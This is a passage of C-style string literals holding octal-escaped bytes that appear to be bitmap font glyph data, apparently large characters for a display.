"\377\377\377\377\0\1\7\37\77\177\377\377\377\376\370\370\360\340\340\340\340\340\340\340\360\370\374\376\377\377\377\177" "\77\37\7\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\1\1\0\200\200\300\300\300\300\301\301\303\303\203\203\203\3\3\1\1\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\374" "\360\340\300\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" "\377\377\377\377\0\1\7\37\77\177\377\377\377\376\370\370\360\340\340\340\340\340\340\340\360\370\374\376\377\377\377\177" "\77\37\7\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\3\7\7\7\7\207\203\301\300\300\300\300\300\301\303\207\207\207\7\7\3\1\0" "\0\0\0\0\0\0\300\340\370\374\376\376\377\377\177\77\37\37\37\17\17\17\37\37\77\77\177\377\377\376\374\374" "\360\340\300\0\374\377\377\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\377\177\377\377\377\377\377\376\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377" "\377\377\377\377\0\1\7\37\77\177\377\377\377\376\370\370\360\340\340\340\340\340\340\340\360\370\374\376\377\377\377\177" "\77\37\7\1\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0" "\0\0\0\0\0\0\10\34>\177\377\377\377\376\374\370\360\300\200\0\0\200\300\340\360\370\376\377\377\377\177>" "\34\10\0\0\0\0\0\0\0\0\0\1\1\303\347\377\377\377\377\377\377\377\377\377\377\347\303\1\0\0\0\0" "\0\0\0\0\0\0\0`\360\370\374\376\377\377\177\77\37\17\7\3\3\7\17\37\77\177\377\377\376\374\370\360" "`\0\0\0\0\0\0\0\0\1\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\340\340\340\340\340\340\340\340\300\300\300\200\200\340\360\374" "\374\374\370\370\0\200\340\360\374\376\377\377\377\177\77\37\17\17\17\7\7\17\17\17\237\377\377\377\377\377\377\377" "\377\367\341\0\376\377\377\377\377\377\177\7\1\0\0\0\0\0\0\0\300\360\374\377\377\377\77\17\3\17\377\377" "\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\300\360\374\377\377\377\77\17\3\0\0\0\0\0\377\377" "\377\377\377\377\77\377\377\377\377\377\376\300\340\370\374\377\377\177\37\7\1\0\0\0\0\0\0\0\300\370\377\377" "\377\377\377\377\0\1\307\357\377\377\377\377\377\377\377\377\371\360\360\360\360\360\360\360\370\374\376\377\377\377\177\77" "\37\17\3\0\34\37\77\77\177\77\17\3\0\1\1\3\3\3\3\3\7\7\3\3\3\3\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\340`\0\0\0\0\0\0\0\1\1\3\3\3\1\0\0\0\340\340\340\340" "\340\340\340\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\377\377\0\0\7\37\77\177\377\377\377\376\374\370\370\360\360\360\360\360\360\360\370\370\374\377\377\377\177\177\77" "\17\7\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\7\3\3\3\3\3\3\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\340`\0\0\1\3\3\3\1\1\0\0\0\0\0\0\0\0\340\340\340\340" "\340\340\340\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\377\377\0\0\7\37\77\177\377\377\377\376\374\370\370\360\360\360\360\360\360\360\370\370\374\377\377\377\177\177\77" "\17\7\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\7\3\3\3\3\3\3\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\302\306\317\337\37\17\7\7\3\1\1\0\1\3\7\7\17\37\77\37\317\306\300\300" "\300\300\300\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\1\17\77\177\377\377\377\377\374\370\360\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\301\303\307\307\7\7\3\3\1\0\0\0\0\0\1\3\7\7\7\7\307\303\301\300" "\300\300\300\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\377\0\377\377\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\377\377\0\1\17\77\177\377\377\377\377\374\370\360\360\340\340\340\340\340\340\340\360\360\370\376\377\377\377\377\177" "\37\17\1\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\200\0\0\0\3\3\3\1\1\1\0\0\0\0\0\0\0\0\300\340\340\340" "\340\340\340`\3\17\77\377\377\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\200\340\370\377\377\377\377\177" "\37\7\1\0\0\0\0\0\3\17\77\377\377\377\377\376\370\340\200\0\0\300\370\376\377\377\377\177\37\7\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\3\17\37\177\377\377\377\376\377\377\377\377\77\7\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\37\37\77\177\377\377\377\376\374" "\370\360\200\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\301\377\377\377\377" "\377\377\377\0\0\377\377\377\377\377\377\377\374\374\374\374\374\374\374\374\374\374\374\374\376\376\377\177\177\77\77\37" "\17\3\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\370\374\374\374\374\374\374\374\370\370\360\360\340\300\200\0\0" "\0\0\0\0\0\300\370\376\377\377\377\377\177\17\7\3\1\1\0\0\0\1\1\3\7\37\377\377\377\377\377\374" "\360\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\200\200\200\200\200\300\300\340\370\377\377\377\377\177\77" "\17\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\37\37\37\37\37\37\77\77\177\377\377\375\374\370\360" "\340\300\200\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\377\377\377" "\377\377\377\374\0\377\377\377\377\377\377\377\0\0\200\300\360\370\360\340\340\340\340\340\340\360\370\374\377\377\377\377" "\177\77\17\1\0\7\7\7\7\7\7\7\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\10\34|\376\377\377\377\376\370\340\300\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17\37\177\77\37\37\14\10\0\0\0\0\0" "\0\0\0\0\0\0\0`\360\360\370\374\374\374\376~~~~\177~~~~\376\376\374\374\370\370\360\340" "\300\0\0\0\0\0\0\0\0\1\203\203\301\300\300\300\340\340\340\340\340\340\340\340\340\340\343\377\377\377\377\377" "\377\376\0\0\340\370\374\376\377\377\377\177\37\37\17\17\17\17\17\7\7\7\7\7\7\7\207\377\377\377\377\377" "\377\377\0\0\17\37\177\377\377\377\377\376\370\370\360\360\360\360\360\360\360\370\370\374\376\377\177\377\377\377\377\377" "\377\377\0\0\0\0\0\0\0\1\1\3\3\3\3\7\7\3\3\3\3\3\1\1\0\0\0\3\3\3\3\3" "\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\370\376\377\376\374\374x\60\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30<\77\177\177\177\77\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\340\360\370\370\370\374\374\374\374\374\376\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\1\3\7\7\203\201\201\200\300\300\300\300\300\300\300\300\301\301\307\377\377\377\377\377" "\377\374\0\0\300\360\370\374\376\376\377\377\77\77\37\37\37\37\37\17\17\17\17\17\17\17\17\377\377\377\377\377" "\377\377\0\0\37\77\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370\374\376\376\376\374\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\20\70|\376\377\177\77\37\7\3\3\7\37\77\177\377\377~<\70\0\0" "\0\0\0\0\0\0\0\300\340\340\360\370\370\370\374\374\374\374\374\376\374\374\374\374\374\375\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\1\3\7\7\203\201\201\200\300\300\300\300\300\300\300\300\301\301\307\377\377\377\377\377" "\377\374\0\0\300\360\370\374\376\376\377\377\77\77\37\37\37\37\37\17\17\17\17\17\17\17\17\377\377\377\377\377" "\377\377\0\0\37\77\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\370\374\374\374\374\374\374\374\370\370\360\360\340\300\300\300\340\360\370\360" "\360`\0\0\0\0\0\0\1\1\3\7\7\3\1\0\0\0\1\1\3\7\17\17\17\17\17\17\17\7\7\3" "\1\0\0\0\0\0\0\300\340\340\360\370\370\370\374\374\374\374\374\376\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\1\3\7\7\203\201\201\200\300\300\300\300\300\300\300\300\301\301\307\377\377\377\377\377" "\377\374\0\0\300\360\370\374\376\376\377\377\77\77\37\37\37\37\37\17\17\17\17\17\17\17\17\377\377\377\377\377" "\377\377\0\0\37\77\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\340\360\370\370\370\370\360\360\340" "\0\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\7\3\0\0\0\0\0\3\7\17\17\17\17\17\7\3" "\0\0\0\0\0\0\0\200\300\340\360\370\370\370\374\374\374\374\374\374\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\1\3\7\7\203\201\201\200\300\300\300\300\300\300\300\300\301\301\307\377\377\377\377\377" "\377\374\0\0\300\360\370\374\376\376\377\377\77\77\37\37\37\37\37\17\17\17\17\17\17\17\17\377\377\377\377\377" "\377\377\0\0\37\77\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\374\376\377\377\377\377\377\377" "\377\377\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\374\376\37\17\17\17\17\37\376\374\370\360\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\37><<<<>\37\17\7\3\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\340\360\370\370\370\374\374\374\374\374\376\374\374\374\374\374\374\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\1\3\7\7\203\201\201\200\300\300\300\300\300\300\300\300\301\301\307\377\377\377\377\377" "\377\374\0\0\300\360\370\374\376\376\377\377\77\77\37\37\37\37\37\17\17\17\17\17\17\17\17\377\377\377\377\377" "\377\377\0\0\17\77\377\377\377\377\377\374\360\360\340\340\340\340\340\340\340\360\360\370\370\374\377\377\377\377\377\377" "\377\377\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\360\370\370\374\374\374\374\376\374\374\374\374\370\360\360\340\360\370\370\374\374\374\374\374\374\374\374" "\370\370\360\340\0\3\7\3\201\200\200\300\300\300\300\301\303\377\377\377\377\377\377\307\301\301\300\300\300\300\301\303" "\377\377\377\377\370\376\376\377\177\77\37\37\17\17\17\17\17\377\377\377\377\377\377\7\7\7\7\7\7\7\7\7" "\7\7\7\7\377\377\377\377\360\340\300\300\300\300\300\340\360\377\377\377\377\377\377\376\370\360\360\340\340\340\340\340" "\360\360\374\370\0\1\3\3\7\7\7\7\17\7\7\7\7\3\1\1\0\1\1\3\7\7\7\7\7\17\7\7" "\7\7\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\374\376\374\374\374\374\374\370\370\370\360" "\340\300\200\0\0\300\370\376\377\377\377\377\177\37\7\3\1\1\0\0\0\0\0\0\0\0\1\1\3\7\77\77" "\37\17\3\1\0\177\377\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\3\17\37\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\360\360\370\370\374\376" "\374\370p \0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\377\377\377\377\307\307\307\307\203\3\3\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\30\36><<|xyyyyy\77\77\77\37\17\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\10<|\376\377\377\377\374\370\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\77\177\77\37\37\14\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\370\370\374\374\376\376~~~\177~~~\376\376\374\374\370\370\360\340\300" "\0\0\0\0\340\374\377\377\377\377\377\357\343\341\340\340\340\340\340\340\340\340\340\340\340\341\347\377\377\377\377\377" "\377\370\0\0\177\377\377\377\377\377\377\307\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\3\7\37\77\177\377\377\377\376\374\370\370\360\360\360\360\360\360\360\360\370\370\374\376\377~<" "\30\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\7\3\3\3\3\3\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\377\376|<\10\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\14\37\37\77\177\77\17\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\370\370\374\374\376\376~~~\177~~~\376\376\374\374\370\370\360\340\300" "\0\0\0\0\340\374\377\377\377\377\377\357\343\341\340\340\340\340\340\340\340\340\340\340\340\341\347\377\377\377\377\377" "\377\370\0\0\177\377\377\377\377\377\377\307\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\3\7\37\77\177\377\377\377\376\374\370\370\360\360\360\360\360\360\360\360\370\370\374\376\377~<" "\30\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\7\3\3\3\3\3\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\374\376\376\376\374\370\340\300\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\20<~\377\377\77\37\17\3\1\7\17\77\177\377\377~|\70\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\376\374\374\374\374\374\370\370\360\360\340\300\200" "\0\0\0\0\300\370\376\377\377\377\377\337\307\303\301\301\300\300\300\300\300\300\300\301\301\303\317\377\377\377\377\377" "\376\360\0\0\377\377\377\377\377\377\377\217\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\7\17\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\340\360\360\370\374\376\374x" "\60\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\370\370\370\370\360\360\340\0\0\0\0\0\340\360\370\370\370\370\360\360\340\0" "\0\0\0\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0" "\0\0\0\0\0\0\0\200\300\340\360\360\370\370\374\374\374\374\374\376\374\374\374\374\374\370\370\360\360\340\300\200" "\0\0\0\0\300\370\376\377\377\377\377\337\307\303\301\301\300\300\300\300\300\300\300\301\301\303\307\377\377\377\377\377" "\376\360\0\0\377\377\377\377\377\377\377\217\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\0\0\0\7\17\77\177\377\377\377\376\374\370\360\360\340\340\340\340\340\340\340\340\360\360\370\374\376\374x" "\60\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\7\7\7\7\7\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\20\70\374\374\376\377\376\374\360\300\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\37\77\177\177\77>\30\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\0" "\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\377\376\374\374x\20\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\30\36\77\177\177\177\37\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\0" "\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\376\376\376\376\370\360\340\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\20\70~\377\377\177\37\17\7\1\3\7\37\77\377\377\377~\70\20\0\0\0" "\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\0" "\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\370\370\370\370\370\360\340\0\0\0\0\0\340\360\370\370\370\370\360\360\340\0" "\0\0\0\0\0\0\0\0\3\7\17\17\17\17\7\7\3\0\0\0\0\0\3\7\17\17\17\17\17\7\3\0" "\0\0\0\0\0\0\0\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\374\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\377\377\377\377\377\377\377\340\340\340\340\340\340\340\340\0" "\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\10\10\30\30<<||\374\374\374\370\360\340\340\300\300\340\340\340\340\360\360" "\360\200\0\0\0\0\0\0\0\0\0\14~~>\77\77\77\37\37\37\17\37\77\377\377\377\377\377\363\343\203" "\1\1\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376~~\177~~~~\376\375\377\377\377\377\377\377" "\376\370\340\0\340\374\377\377\377\377\377\77\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3\7\77\377\377\377" "\377\377\377\374\77\377\377\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\377\377\377" "\377\377\377\37\0\1\7\17\37\77\177\377\377\376\374\370\370\360\360\360\360\360\360\370\370\374\376\377\377\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\7\3\3\3\3\3\1\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\370\374\374\374\374\374\374\374\370\370\360\340\300\300\300\340\360\370\360\360" 